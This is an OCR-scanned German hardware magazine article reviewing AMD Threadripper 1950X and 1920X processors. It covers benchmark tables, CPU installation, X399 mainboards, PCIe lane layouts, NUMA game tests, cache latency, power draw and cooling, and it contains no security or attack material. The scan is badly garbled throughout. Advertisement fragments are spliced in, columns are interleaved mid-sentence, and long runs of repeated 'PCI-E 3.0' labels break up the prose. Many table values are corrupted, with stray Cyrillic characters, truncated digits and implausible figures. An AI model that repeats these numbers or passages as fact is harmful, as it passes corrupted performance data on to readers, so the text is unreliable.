> Unidirektionales Mikrofon mit Status-LED und 
Geräuschunterdrückung. 


K95 RGB PLATINUM 


> Gebürstetes Flugzeugaluminium für 
lebenslange Beständigkeit. 


> 8-MB-Profilspeicher mit Hardware-Makro und 
Beleuchtungswiedergabe. MM800 RGB POLARIS 
> RGB-Hintergrundbeleuchtung 19-Zonen- 
LightEdge für lebendige Lichteffekte. > Anpassbare 15-Zonen-RGB-LED-Beleuchtung. 
> Echte PWM-Beleuchtungstechnologie für eine 
höchst genaue Farbwiedergabe. 


> Integrierter USB-Passthrough-Anschluss 
für Ihre Maus. 


ning-Sensor mit 16.000 d 
Leistung. / 


passgenaue Form. 


о ü Ü corsair 
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Anwendungsleistung AMD Threadripper 


Prozessormodell 3DM Fire Cinebench 7-Zip Lightroom Blender Blender x264 UHD- y-Cruncher y-Cruncher 
Strike Physik | R15 (Punkte | (Sekunden) 5.7.1 2.76 2.78 VC14 Transcoding 0.6.9.9462 0.7.2.9468 
(Punkte) ST/MT) (Sekunden) (Sekunden) | (Sekunden) (Sekunden) | (Sekunden) (Sekunden) 
AMD Ryzen TR 1950X 26.002 167/3.062 21 92 88 65 38,7 60,7 Sim 
Intel Core i9-7900X 24.094 94/2.105 05 87 98 78 48,7 62,9 50,7 
AMD Ryzen TR 1920X 23.865 65/2.459 132 95 09 ШЇ] 45,5 80,7 63,1 
Intel Core i7-6950X 21.430 66/1.805 120 90 117 89 61,3 69,5 59,3 
ntel Core i7-6900K Bus» 67/1.483 126 93 143 106 71,7 74,6 66,1 
AMD Ryzen 7 1800X 9.312 63/1.639 84 05 40 108 64,3 108,7 90,7 
ntel Core 17-5960Х 6.203 39/1.329 185 08 61 = 80,6 81,2 = 
AMD Ryzen 7 1700Х 8.246 55/1.557 91 111 49 113 67,5 13,4 94,2 
AMD Ryzen 7 1700 6.798 148/1.426 203 ЇЇ 61 123 73,1 ZW 101 
ntel Core i7-6800K 15.644 156/1.114 70 111 86 = 96,3 07,7 = 
AMD Ryzen 5 1600X 17.113 163/1.244 229 11 81 139 84,2 46,5 1193 
ntel Core i7-5820K 13.589 142/1.022 68 19 203 = 103,9 10,4 = 
Intel Core i7-7700K 14.240 195/974 204 118 205 154 93,7 98,5 89,7 
AMD Ryzen 5 1600 5.853 149/1.149 236 18 196 149 90,1 58,2 128,8 
Intel Core i7-4790K 1.924 175/857 197 32 231 = 121,6 27,8 = 
ntel Core i7-5775C 2.278 55/787 195 33 257 = 25,4 139,3 = 
ntel Core i7-990X 2.349 08/822 252 5 243 = 38,9 322,2 = 
AMD Ryzen 5 1500X 2.185 56/818 283 23 266 201 26,2 208,9 171,4 
ntel Core i5-7600K 9.013 82/676 256 129 332 226 125,8 129,7 1135 
AMD FX-9590 8.407 13/727 208 146 415 = 138,4 256,4 = 
ntel Core i7-3770K 9.926 421679 217 154 316 = 63,3 291,5 = 
AMD Ryzen 5 1400 10.875 37/706 321 148 303 233 141,8 233,9 193,1 
ntel Core 15-7500 8.101 57/610 275 142 361 251 139,4 143,4 124,6 
Intel Core i5-4690K 7.482 155/565 288 150 368 = 62,6 168,3 = 
Intel Core i7-2600K 8.971 134/619 253 175 351 = 90,5 316,8 = 
ntel Core i5-3570K 6.953 34/524 285 159 431 - 199 348,3 = 
AMD FX-8300 6.638 97/530 237 177 560 = 82,6 326,8 = 
AMD Phenom II X6 1100T 7.066 95/498 334 206 443 - 226 424,5 - 


Der CPU-Einbau beim Threadripper ist zwar etwas komplizierter als bei bekannten Standard-Sockeln, dafür sitzt der Vielkerner hinterher aber auch bomben- 
fest im Sockel. Wir zeigen, was es zu beachten gilt. 


УЛ , 


Den Prozessor schieben Sie sam 


Е 


Der Threadripper-Retail i i Die drei Halterungs-Torx sollten Sie in der Reihenfol- bis zum Anschlag in die hochklappbare Führungs- 
Wakü-Halterung sowie ein Drehmom i. ge unten links (3), unten rechts (2), oben (1) lösen. schiene. 


o:/ Жу 7 , í H E >. à : 
Drücken Sie die Führungsschiene ап den blau markier- Drehen Sie die Torx in umgekehrter Reihenfolge (1, 2, Achten Sie bei Verwendung der Wakü-Halterung auf 
ten Endpunkten vorsichtig bis zum Einrasten herunter. 3) fest, bis der Drehmomentschlüssel auslöst. die richtige Ausrichtung der Schrauben. 
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Als eines der ersten Mainboards erreichte Gigabytes Aorus Gaming 7 die 
Redaktion. Hier ein Kurzeindruck des ab rund 390 Euro erhàltlichen Boards. 


Mit satten fünf PCI-Express-Slots in voller Baulänge — davon je zwei mit 3.0-x16 
und 3.0-x8 angebunden, einer via 2.0-x4 (der aber nur mit Single-Slot-Karten gut 
nutzbar ist) — sowie drei Kühler-bestückten M.2-Steckplátzen bietet das Gaming 7 
Erweiterungsoptionen satt. Nahezu obligatorisch sind die per LED verschönerten 
acht DIMM-Sockel sowie Kühler- und l/O-Panel-Abdeckungen - nett für Casemodder 
oder Optik-Fans. Die VRM- und Mosfet-Profile sehen aus als wären sie ihrer Aufgabe 
durchaus gewachsen: Von der Nordseite des Boards (Bild 2) führt eine Heatpipe 
Wärme in Richtung des Profils an der I/O-Blende (Bild 3) — beide Kühler stehen über 
Wärmeleitpads mit dem Mainboard in Kontakt. Stromseitig lässt sich ein zusätzlicher 
Vierpol-Anschluss nutzen. Der rückseitige Typ-C-USB-Anschluss (Bild 1) unterstützt 
wie der Typ-A-Anschluss direkt darüber auch USB 3.1 gen 2, ein entsprechender 
interner Header erlaubt diese Geschwindigkeit auch für Front-USB-Anschlüsse. Weiß 
markiert ist der für CPU-lose UEFI-Flashs nutzbare USB-Port. Nicht fehlen dürfen die 
SATA-Ports, acht an der Zahl, sowie ein GBit-Netzwerkanschluss via Killer-NIC. WLAN 
und ALC1220-Sound (SBX 720°-kompatibel) runden das Paket ab. 


Im Rahmen des AMD-Testkits war Asus’ Mainboard-Flaggschiff die erste 
TR4-Platine mit X399-Chip, auf die wir einen Blick werfen konnten. 


Nicht weniger als 550 Euro sind aktuell für das Asus-Ausstattungswunder fállig. Dafür 
lásst das Zenith Extreme auch kaum Wünsche offen. Die vier PEG-Slots bieten eine 
Anbindung mit 16x/8x/16x/8x Lanes (3.0), acht DIMM-Sockel nehmen mit derzeit 
verfügbaren 16-GiB-Modulen 128 GiByte Speicher auf. Eine Backplate schützt das 
schwergewichtige Board groBflàchig von unten. Im Preis enthalten ist eine ROG Areion 
10GBit-Netzwerkkarte, die einzeln für über 100 Euro verkauft wird und den zentralen 
2.0-x4-Slot belegt. Obwohl das Board den ATX-Standard überragt, ist auf der voll- 
gestopften Oberfläche nur Platz für eine M.2-SSD. Asus legt Abhilfe in Form des ROG 
DIMM 2 bei. Diese Tochterplatine nimmt zwei weitere M.2-SSDs auf und wird in einen 
speziellen, DIMM-ähnlichen Slot zwischen den eigentlichen RAM-Sockeln und den 
ATX-Stromanschlüssen gesteckt. Von den Achtpoligen ATX-Steckern benótigen Sie für 
den Normalbetrieb übrigens nur einen — der zweite wird erst beim Übertakten emp- 
ohlen. Auch hier sind WLAN, USB 3.1 gen2 & co. Standard, die VRM-Kühlung wirkt 
unktional (Bild 3). Auf der Verkleidung der I/O-Blende sitzt ein kleines OLED-Display 
Bild 2), in ihrem Inneren ein winziger Lüfter, der im Test erst nach einem UEFI-Update 
eine einstellbare Anlauftemperatur erhielt — zuvor heulte er mit 6000-U/Min. 
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wändige Synchronisierungszyklen 
nötig, die insgesamt auch Leistung 
kosten können. 


Sockel-TR4-Prozessoren sind auch in Sachen Schnittstellen üppig ausgestattet. Wir 
geben einen Überblick über die vier aktuellen Plattformen am Markt. 


Wir haben NUMA und auch andere 
Modi umfassend ausprobiert. Die 
Ergebnisse unserer Spiele-Tests in 


8x SATA 


Auch abseits von CPU-Kernen setzt Threadripper neue Desktop-Rekorde und schlägt mit 60 
nutzbaren PCI-Express-3.0-Lanes in der CPU Intels gerade erst vorgestellten (Ex-)Champion ` ` 
Skylake X deutlich — doch so einfach sind Vergleiche moderner Plattformen nicht. Während AMD der Tabelle auf Seite 15 zeigen aller- 
ast alle schnellen Schnittstellen im Prozessor konzentriert und in die identischen Promonto- dings auch, dass NUMA im direkten 
ry-l/O-Hubs X399 (TR4) und X370 (TR4) neben USB 3.1 nur alte Standards integriert, schließt Vergleich mit ansonsten identischer 
ntel die Peripherie über PCHs mit reichlich Zusatzausstattung an. Diese sind ihrerseits zwar mit Core-Konfiguration nicht in jedem 
ediglich 4 GB/s an den Prozessor und damit das restliche System angebunden, im Alltag stórt Spiel von Vorteil ist. Die Fps-Raten 
das aber nur GPUs, welche deswegen auch bei Intel von der CPU versorgt werden. Ausgänge mit steigen in Dragon Age Inquisition, 
alternativen Betriebsmodi (PCI-E oder SATA respektive USB) Far Cry 4 sowie The Witcher und 
bei Intel-PCHs und Zusatzcontroller für LAN oder USB 3.1 PCI-E 3.0 SATA ganz besonders in Starcraft 2 stark 


(hier orange dargestellt) verkomplizieren die Situation wei- PCI-E 3.0 БАТА ап. Allerdings ist auch ein Leistungs- 
er. Wir zeigen deswegen neben den theoretischen Möglich- — — verlust zu verzeichen und zwar ge- 


X399-/O-Hub 


7 freie 2.0 Lanes iid 


keiten der Plattformen (mittlere Spalte) auch eine möglichst PCI-E 3.0SA TA rade in den Spielen, die eigentlich 
eng der TR4-Ausstattung angenährte Konfiguration (rechte — — — besser mit vielen Threads skalieren: 
Spalte) für jeden Sockel. Reale Mainboards setzen oft ande- PCI-E 3.0SATA Anno, AC: Syndicate, Crysis oder F1 
re Schwerpunkte — zum Beispiel weitere USB-3.1-Controller ROLE T | ў ; . . 
` Da PCI-E 3. 2015. Anwendungen profitierten im 
statt -3.0-Ports — und nutzen überschüssige CPU- und PCH PCI-E 3.0 Test nicht vom NUMA-Modus - im 
Lanes für weitere M.2 oder Onboard-Features. Beachten Sie PCI-E 3.0 í RAM . . 
in diesem Zusammenhang die nach vorliegenden Informati- = — — Gegenteil ebat 7Zip SOBAT: ишер 
onen maximal sieben PCI-E-Links bei Threadripper: Auf mehr Ed PCI-E 3.0 starken Rückgang der | Leistung. 
BREED Geräte als die gezeigte x16/x16/x8/x8/x4/xA/x4-Konfigu- | Š eebe E кер, Wunder. denn. bei, unseren 
PCI-E 3.0 = ration lassen sich die 60 Lanes nicht aufteilen. Core-i9- RER USB 3.0 Testeinstellungen nutzt 7-Zip mit 
Bere Skylake-X arbeiten mit 10 Links für 44 Lanes feiner — die BE USB 3.0 rund 17,6 GiByte mehr als die Hälfte 


PCI-E 3.0 Ш PCI-E Г USB 3.0 


PCI-E 3.0 es günstigeren Core-i7-LGA-2066-CPUs haben von letzteren 


—— — aber nur 28 respektive 16 (zuzüglich maximal 24, typischer- zwei Bereiche ohne spezielle Anpas- 


PCI-E 3.0 : weise 9-13 Lanes vom PCH). (tv) sung des Programms naturgemäß 


PCI-E 3.0 d kontraproduktiv ist. 
PCI-E 3.0 
PCI-E 3.0 PCI-E 3.0 


PCI-E 3.0 PCI-E 3.0 Wie außerdem auch unsere Tabelle 
PCI-E 3.0 PCI-E 3.08A TÀ PCI-E 3.0 


PCI-E 3.0 PCI-E 3.0SA TA PCI-E 3.0 auf Seite 22 zeigt, sinkt laut AIDA64 
BONES PCI-E З.Ш ECHERIU die Speicher-Latenz im NUMA-Mo- 
PCI-E 3.0 PCI-E 3.08A TA PCI-E 3.0 
PCI-E 3.0 PCI-E 3.08A TA PCI-E 3.0 
PCI-E 3.0 PCI-E 3.08A TA PCI-E 3.0 
PCI-E 3.0 PCI-E S PCI-E 3.0 
PCI-E 3.0 PCI-E 3. PCI-E 3.0 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 

PCI-E 3.0 PCI-E 3.0 


PCI-E 3.0 
PCI-E 3.0 PCI-E 3.0 


= PCI-E 3.0 
PCI-E 3.0 PCI-E 3.0 


PCI-E 3.0 PCI-E 2.0 
PCI-E 3.0 PCI-E 2.0 PCI-E 3.0 PCI-E 3.0 
PCI-E 3.0 PCI-E 3.0 


PCI-E 3.0 PCI-E 2.0 
PCI-E 3.0 PCI-E 2.0 PCI-E 3.0 PCI-E 3.0 
PCI-E 3.0 PCI-E 3.0 


PCI-E 3.0 PCI-E 2.0 
Е USB 3.0 PCI-E 3.0 


PCI-E 3.0 
PCI-E 3.0 PCLE Г и5в 3.0 PCI-E 3.0 


PCI-E 3.0 РСІ-Е 30ER: 3.0 PCI-E3.0 .. ist für die Threadripper-Prozes- 


PCI-E 3.0 PCLE ZOU 3.0 PCI-E 3.0 


PCI-E 3.0 > У. - Ge 
PCI-E 3.0 PCI-E 3.0 Eingriffe und  zwischenzeitliche 


PCI-E 3.0 PCI-E 3.0 Neustarts móglich. Doch das kann 
PCI-E 3.0 PCI-E 3.0 


PCI-E 3.0 Di PCI-E 3.0 
PCI-E 3.0 ° PCI-E 3.0 
PCI-E 3.0 PCI-E 3.0 a PCI-E 3.0 
PCI-E 3.0 PCI-E 3.0 pa PCI-E 3.0 
PCI-E 3.0 SATA PCI-E 3.0 cà PCI-E 3.0 
PCI-E 3.0 SATA PCI-E 3.0 = PCI-E 3.0 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 TR 1920X bei einem fiktiven Spiele- 


Pebe IE вешаю Index von 82,3 anstelle von 73,8, 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 | " 
РСІ-Е 3.0 РСІ-Е 3.0 РСІ-Е 3.0 was einer Steigerung von satten 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 Za 
SCH Biereg Keren 11,5 Prozent entspricht. Nehmen 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 wir die Ergebnisse mit Speicher-OC 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 ` : 
EC TIU БЕПЕРП auf DDR4-3200 hinzu, kommt mit 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 84,9 Prozent ein Spiele-Ergebnis im 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 : : 
ЕСПЕ ЕСПЕ БЕГДЕ Bereich der Intel-Modelle 17-5960Х, 
-7800X und -6800K, die in Spielen 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 m : d Threadri 
PCI-E 30 PCI-E 3.0 PCI-E 30 sonst weit vor dem Threadripper 
PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 1920X rangieren. Warum wir das 
Intel 2066 nur anhand des TR 1920X auspro- 


PCI-E 3.0 PCI-E 3.0 PCI-E 3.0 
biert haben? Einerseits existiert für 


des RAMs, sodass die Aufteilung in 


10x USB 3.1 


M.2-SSD 
PCI-E x4 


PCI-E 3.0 x8 
8x SATA 


dus und die gemessenen Transferra- 
ten des L3-Caches steigen deutlich 
an. AIDA64 nimmt auf die NUMA- 
Eigenheiten Rücksicht, sodass die 
Daten nicht mehr zwischen den 


PCI-E 3.0 x8 
X370-I/O-Hub 
(inaktiv) 


einzelnen L3-Blócken ausgetauscht 
werden müssen. 


7 freie 2.0 Lanes вым 


2270-РСН 
7 freie 3.0 Lanes 


1x PCI-E 3.0 x16 oder 2x PCI-E 3.0 x8 


(inaktiv) 


soren leider nicht ohne manuelle 


PCI-E 
3.0 х4 


10х USB 3.0 


sich lohnen. Wenn wir aus den ver- 


schiedenen, durchgeführten Spiele- 
Tests den jeweils schnellsten Wert 
herausgreifen, landen wir für den 


1x PCI-E 3.0 x8 


M.2-SSD 


PCI-E x4 
PCI-E x4 


PCI-E 3.0 x16 
1x PCI-E 3.0 x16 oder 2x PCI-E 3.0 x8 
1x PCI-E 3.0 x16 oder 2x PCI-E 3.0 x8 
1x PCI-E 3.0 x16 oder 2x PCI-E 3.0 x8 
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ihn eine harte Bezugsbasis, da er den Par- 
cous ohne manuellen Eingriff oder Hilfe 
des Ryzen Master Tools durchlaufen kann. 
Zudem ist er mit knapp über 800 Euro 
nicht ganz so teuer wie das Topmodell. 
Apropos: Die Ergebnisse der angespro- 
chenen Problemspiele haben wir beim TR 
1950X nach manuellem Eingriff und der 
Beschränkung auf 31 von 32 Threads ge- 
wertet. Für Anwendungen haben wir üb- 
rigens keinen Fall gefunden, bei denen der 
voreingestellt UMA-Modus nachteilig ge- 
genber NUMA wäre. Der umgekehrte Fall 
trat jedoch durchaus ein - wie erwähnt 
und in der Tabelle auf Seite 15 nachzule- 
sen, lief 7-Zip deutlich langsamer. 


Um eine AMD-CPU zu finden, die einen 
kompletten Leistungsindex anführt, muss 
man schon sehr lange zurückschauen. 
Umso erfreulicher ist es, dass den Texa- 
nern genau dies mit Threadripper gelingt: 
Sich an die Spitze der Rangfolge noch vor 
die schnellsten Intel-Angebote für den 
Heimgebrauch zu setzen. Das verdankt er 
seinen absoluten Stärken im 3D-Rendering 
und Video-Transcoding, während er inden 
anderen Bereichen zumindest gut mithal- 
ten kann und sogar im stark AVX(2)-opti- 
mierten y-Cruncher, einer Intel-Domäne, 
den Thron erklimmt - lediglich die neue- 
ren, weiter optimierten, aber nicht in die 
Wertung einfließenden Versionen liegen 
den Intel-CPUs wieder minimal besser. 


So übernimmt der Threadripper 1950X die 
Spitze in unserem Leistungsindex für An- 
wendungen und stellt in diesem Bereich 
unsere neue 100-Prozent-Marke dar - Leis- 
tungsindex auf Seite 55 und Einkaufsfüh- 
rer auf Seite 122 spiegeln diese Entwick- 
lung bereits wieder (bitte beachten Sie 
in diesem Zusammenhang auch, dass sich 
die Benotung entsprechend verschieben 
kann). Den zweiten Platz verpasst der TR 
1920X jedoch und unterliegt gegen den 
Core i9-7900X mit 88,8 zu 93,9 Index- 
punkten bei der Anwendungsleistung. 


Anwendungen skalieren traditionell bes- 
ser mit zusätzlichen Threads als Spiele 
und in diesem Bereich gab es auch keine 
Probleme zu vermelden - auch wenn der 
Leistungszuwachs beileibe nicht überall 
1:1 mit der Kernzahl übereinstimmt. Wie 
erwähnt sind 3D-Rendering und Video- 
Transcoding Threadripper-Domänen, da 
hier die Datenpakete relativ unabhängig 
voneinander bearbeitet werden können. 
Auch im Physiktest des 3D Mark Firestrike 
kann sich der Threadripper 1950X, wenn 
auch mit knappem Vorsprung, an die Spit- 
ze des Feldes setzen. Weniger gut skalieren 
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Adobe Lightroom 5.7 oder das 
eher mit der Speicherperfor- 
mance liebäugelnde 7-Zip. 


Da wir grad‘ beim Thema sind: 
7-Zip ist ein tolles Beispiel für 
die Diskrepanz zwischen inte- 
griertem Benchmark und der 
realen Anwendung, was im Prin- 
zip auch auf einige Spiele wie 


etwa Ashes of the Singurlarity 
zutrifft. Beim Packer stellt der 
integrierte Benchmark doppelt 
soviele Threads bereit, wie die 
eingesetzte CPU bietet - im Falle 
des TR 1950X also 64. Reales Pa- 
cken hingegen erlaubt maximal 
32 Threads, sowohl für kleinere 
Prozessoren als auch für unseren 
TR 1950X. Irgendwann endet 
also auch hier die Skalierfähig- 


ALPHACOOL - THE COOLING COMPANY 


Ne 


m | 


keit - denn eigentlich testen wir 
CPUs für bessere Auslastung mit 
dem 1,5-fachen der angebotenen 
Thread. Beide Threadripper- 
Modelle haben hier also einen 
potenziellen Nachteil - doch das 
ist die Realität. Die übrigens auch 
mit neueren, offiziellen 7-Zip-Ver- 
sionen genau so auftritt. Warum 
verwenden wir das Programm 
dann? Die Antwort: Auch Kon- 


CPU AIO Kühler 


sil ALTERNATE 


bequem online 


www.alphacool.com info@alphacool.com 
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AIDA64 v5.90.4300: Cache-/RAM-Performance 


Core i7-6950X Core i9-7900X Ryzen TR 1950X Ryzen TR 1950X Ryzen TR 1950X OC R7-1800X* 
DDR4-2400 DDR4-2667 DDR4-2400 UMA DDR4-2400 NUMA DDR4-3200 NUMA DDR4-2400 
14-13-13-33-1T 15-14-14-34-1T 14-13-13-13-33-1T 14-13-13-13-33-1T 14-14-14-14-34-1T 14-13-13-13-33-1T 

L1 Latenz (ns) 12 0,9 1,0 m 1,0 1,0 

L2 Latenz (ns) 3,5 5,1 3:0 E 3:0 4,3 

L3 Latenz (ns) 16,4 20,3 10,2 11,5 9,9 11,2 
Speicher-Latenz (ns) 65,5 67,8 99,2 75,8 65,0 84,2* 
Speicher Lesen (GB/s) 65,1 79,6 518 71,9 922 374 
Speicher Schreiben (GB/s) 60,6 73,5 744 12,5 90,9 36,5 
Speicher Kopieren (GB/s) 66,1 71,9 64,9 68,6 82,5 35,6 

L1 Lesen? (GB/s) 2.087,2 2.428,6 1.816,4 [572341 1.827,3 918,6 

L1 Schreiben* (GB/s) 1.061,4 1.241,9 915,7 867,6 919,7 461,0 

L1 Kopieren* (GB/s) 2.121,3 2.469,0 1.814,3 150/2515] 1.814,9 918,6 

L2 Lesen (GB/s) 750,5 1.090,2 1.644,5 1.679,1 1.778,9 871,6 

L2 Schreiben (GB/s) 329,9 707,8 901,8 852,9 892,1 452,5 

L2 Kopieren (GB/s) 479,2 1.036,1 1.439,6 1.546,6 1.728,4 714,6 

L3 Lesen (GB/s) 268,1 123,6 291,9 718,5 745,5 391,2 

L3 Schreiben (GB/s) 208,6 110,2 158,6 701,1 709,4 386,5 

13 Kopieren (GB/s) 271,6 119,3 208,1 703,4 703,4 447,1 

* Mit AGESA 1.0.0.6, Speicherlatenz mit AGESA 1.0.04 bei 79,8 ns 


Threadripper im Effizienztest 


Pflicht erfüllt - kommt die Kür — 
mit dem TR 1900X? e 


Intel Core i7-6950X (3,0+ GHz - 10c/20t) ua 100 (+18 %) 
Intel Core i7-7820X (3,6+ GHz - 8c/16t) ua. 92,3 (+9 96) 
Intel Core i7-6900K (3,2+ GHz — 8c/16t) [Xe 89,9 (+6 96) 

— offenbar ein Problem mit genau 32 oder zumindest Intel Core ї9-7900Х (3,3+ Ton ME: 57 

mehr als 31 Threads haben. Umso erfreulicher, dass Intel Core i7-6700K (4,0+ GHz - 408). ЕШШ 89,1 (+5 %) 

AMD entsprechende Tools zur Verfügung stellt, um AMD Ryzen TR 1950X (3,4+ GHz - 160320 ВЕНН 87,9 («4 % 

auch dem unbedarften Nutzer jenseits von manuellem y AMD Ryzen 7 1700X (3,4+ GHz - 8c/16t) ЕШШ 86,6 (+2 %) 

,numproc"-Setzen das Spielen nicht zu vermiesen. e b f AMD Ryzen 7 1700 (3,0+ GHz – 8c/16t) ull 86,5 (+2 %) 

Threadripper selbst tut im erwartbaren Rahmen das, / E AMD Ryzen 7 1800X (3,6+ GHz – 8c/16t) EX 84,5 (Basis) 

was seine Gene ihm ermöglichen: In einfach paralleli- Carsten Spille j Intel Core i7-7740X (4,3-+ GHz — 4с/81) GK u 84,0 (-1 96) 

sierbaren Anwendungen rasend schnell und dabei trotz Intel Core i7-7700K (4,2+ GHz – 4с/81) www 83,6 (-1 %) 

nicht eben sparsamer Plattform noch sehr effizient Intel Core 17-7800Х (3,5+ GHz — 6.12 EN 81,2 (-4 %) 

sein. In Spielen reicht er vollkommen aus — doch das ist in meinen Augen für eine AMD Ryzen TR 1920X (3,5+ GHz - 122240 EEE 50,2 (-5 96) 

1.000-Euro-CPU etwas zu wenig. Daher schaue ich dem Threadripper 1900X mit AMD Ryzen 5 1600 (3,2+ GHz — 6c120) EN 77,8 (-8 %) 

acht Kernen gespannt entgegen, da er das Beste aller Welten vereinen könnte. Intel Core i7-5960X (3,0+ GHz een ЖЕШ 74,2 (-12 %) 

AMD FX-8320E (3,2+ GHz — 4m/8t) EX 37,9 (-55 %) 
Effizienz in Cinebench R15 
AMD Ryzen TR 1950X (3,4+ GHz - 167/220. 100 (+23 96) 


Gute Server-Prozessoren sind | wees s 
keine optimalen Spieler-CPUs | | 


AMD Ryzen 7 1700 (3,0+ GHz – 8c/16t) s 83,1 (+2 %) 
Threadripper ist ein schönes Beispiel für Amdahls AMD Ryzen TR 1920X (3,5+ GHz — 12c/24t 


Was mich am meisten am Threadripper überrascht hat? 
Dass so viele Spiele - immerhin 25 % unserer acht Titel 


AMD Ryzen 7 1800X (3,6+ GHz – 8c/16t) X 81,2 (Basis) 
) EN 81,2 (+0 %) 
Gesetz, dem zu Folge der Nutzen zusätzlicher Aus- Intel Core i7-7820X (3,64. GHz- 8/161) EE 79,8 (-2 %) 
führungseinheiten stark mit der (nicht unendlichen) d ] Intel Core i9-7900X (3,3- GHz — 10/200) EN 78,8 (-3 %) 
Reti Mia Mine PR In A Intel Core i7-6900K (3,24- GHz – 8с/161) ETT 77,2 (-5 96) 
Anwenoungen-mit vielen unabnangigen Beech- AMD Ryzen 5 1600 (3,2+ GHz — 6c/12t) EN 72,5 (-11 %) 
nungen geht Threadripper somit knallhart in Führung, : 
. А Intel Core i7-6700K (4,0+ GHz – 4/81) uw; 69,5 (-14 %) 
genauso wie der groBe Bruder Epyc bei hochparallelen шї Cre ENEE E 
" - ; = Gw 62.: <- 
Server-Workloads überzeugt. Aber manch Endanwen- gie des M 
Intel Core i7-7700K (4,2+ GHz — 4с/81) m 66,4 (-18 96) 


der-Software und vor allem Spiele sind das exakte Torsten Vogel ce | 
Gegenbeispiel. Selbst in Multicore-Refrenztiteln wie Intel Core i7-7740X (4,3+ GHz - 2/81) XXX 05,5 (-19 %) 

Witcher 3 und Crysis 3 hat Threadripper Mühe, mit Intel Core і7-5960Х (3,0+ GHz- 8c/16t) [XXX 63,4 (25 %) 

Ryzen gleichzuziehen. Als Spieler reizen mich die neuen CPUs allenfalls aufgrund AMD FX-8320E (3,2+ GHz — Am/8t) EX 31,3 (-63 90) 

ihrer vielen PCI-E-Lanes. Die bieten aber auch Skylake X (1.000-Euro-Klasse) System: Intel X299/99, 2170/2971277, AMD X399/370/990FX,8 GiB RAM pro Speicher- | prozent 
respektive Haswell-E (Abverkauf) — bei hóherer Spiele-Leistung und -Effizienz. kanal (Geschwindigkeit jeweils laut max. CPU-Spezifikation), GTX 980 Ti @ 1.380/3.900 Sc 


MHz; Win 10 64 Bit Bemerkungen: Systemverbrauch in Relation zur Leistung 
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kurrent Winrar in der aktuellen Ver- 
sion 5.50 macht's nicht besser - im 
Gegenteil. Nicht nur wird das Test- 
archiv größer (+80 MByte), auch 
ist die Thread-Nutzung schlechter: 
Rund 85 % Auslastung über weite 
Strecken unseres 7-Zip-Benchmarks 
stehen Spitzenwerte von 60 % bei 
Winrar gegenüber, ergänzt von lan- 
gen Phasen unter 50, teils mit gar 
nur 30 bis 40 % CPU-Nutzung. 


Leistungsaufnahme und 
Energieeffizienz 

Mit einer Thermal Design Power 
von 180 Watt, welche die beiden Th- 
readripper im Test nicht überschrit- 
ten, liegt der spezifizierte Stromver- 
brauch im Rahmen dessen, was man 
angesichts geringeren Overheads 
von zwei Ryzen 7 1800X à 95 Watt 
erwarten kann. AMD kann Allcore- 
und XFR-Turbo sogar um 100 MHz 
gegenüber dem R7-1800X anheben. 


In der Praxis können die Thread- 
ripper-CPUs wiederum vor allem in 
Anwendungen überzeugen, wo sie 
sich trotz nicht gerade sparsamer 
Plattform noch vor ihre Ryzen-Ge- 
schwister schieben und die meis- 
ten Vier- und Sechskerner (auch 
von Intel) hinter sich lassen. Para- 
dedisziplin ist dabei einmal mehr 
der Cinebench, welcher der neuen 
AMD-Architektur sehr gut liegt. 
In der Spitze maßen wir für unser 
Testsystem 302 Watt im y-Cruncher, 
was im Rahmen der 40 Watt höhe- 
ren TDP im Vergleich zum Core i9- 
7900X mit 268 Watt liegt. Zwischen 
den Threadripper-Modellen liegt 
dabei nur ein geringer Unterschied 
von durchschnittlich 9 Watt (255 zu 
246 Watt) - beide reizen ihre TDP 
mithilfe des Turbos gut aus, über- 
schreiten Sie aber nicht. 


Gegenüber einem Ryzen-7-Achtker- 
ner wie dem 1800X müssen Sie im 
Anwendungsschnitt mit bis zu 70 
Watt Mehrverbrauch rechnen, in 
Spielen sind es lediglich 20 Watt 
mehr. Doch da dort auch die Perfor- 
mance kaum über der des R7-1800X 
liegt, ist die Spiele-Effizienz mit 
knapp 70 Prozent für beide Proban- 
den nicht besonders hoch. Ein klein 
wenig kann hier auch die Plattform 
mit hineinspielen, denn bislang 
sind lediglich sehr üppig ausgestat- 
tete Boards für Threadripper in der 
Redaktion verfügbar - sollte sich 
dies ändern, werden wird nochmal 
nachmessen. 
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Kühlung und Overclocking 
Bekannte AM4- oder Sockel 
2011-Kühler passen nicht auf den 
TR4 und sind ohne entsprechen- 
des Mounting-Kit somit inkompati- 
bel. Den Retail-Verpackungen der 
Threadripper-CPUs liegt jedoch 
eine Halterung für Asetek-Standard- 
Wasserkühlungen bei. Auch in Sa- 
chen Luftkühlung bieten einige 
Hersteller bereits TRÁ-kompatible 
Modelle an. Unter den ersten war 
Noctua, von denen uns auch Muster 
erreichten. Im Probelauf des Noctua 
NH-U14S mit dem TR 1950X bliebt 
die Temperatur auch unter Last 
zwischen 60 und 70 Grad Celsius - 
Luftkühlung ist beim Threadripper 
also prinzipiell auch kein Problem. 
Im Gegenteil - bei angepassten 
Kühlern mit entsprechend grofser 
Base-Plate und Heatpipe-Kontakt- 
fläche gelingt die Wärmeableitung 
sogar ausgesprochen gut. Nicht zu- 
letzt wohl auch ein Verdienst des 
verlöteten Heatspreaders, der den 
Wunsch nach „köpfen“ und dem 
Tausch des Wärmeleitmittels anders 
als bei aktuellen Intel-CPUs auch aus 
dem HEDT-Bereich nicht aufkom- 
men lässt. 


Für erste Übertaktungsversuche an- 
hand des TR 1920X haben wir uns 
allerdings trotzdem lieber an eine 
Wasserkühlung gehalten. Zum Ein- 
satz kamen die All-in-One-Modelle 
Thermaltake Riing360 und Frac- 
tal Design Celsius S36 mit ihren 
Standard-Lüftern. In Spielen blieb 
die Temperatur stets unterhalb der 
50-Grad-Marke, in fordernderen An- 
wendungen wie y-cruncher lagen 
maximal 69 °C TJunction-Tempe- 
ratur an. Achtung: Nicht alle Mess- 
Programme berücksichtigen das 
Tel-Offset von 27 Kelvin, welches 
beim Threadripper anliegt. HWIn- 
fo64 5.55-3210, Core Temp 1.10.2, 
HWMonitor 1.32 oder MSIs After- 
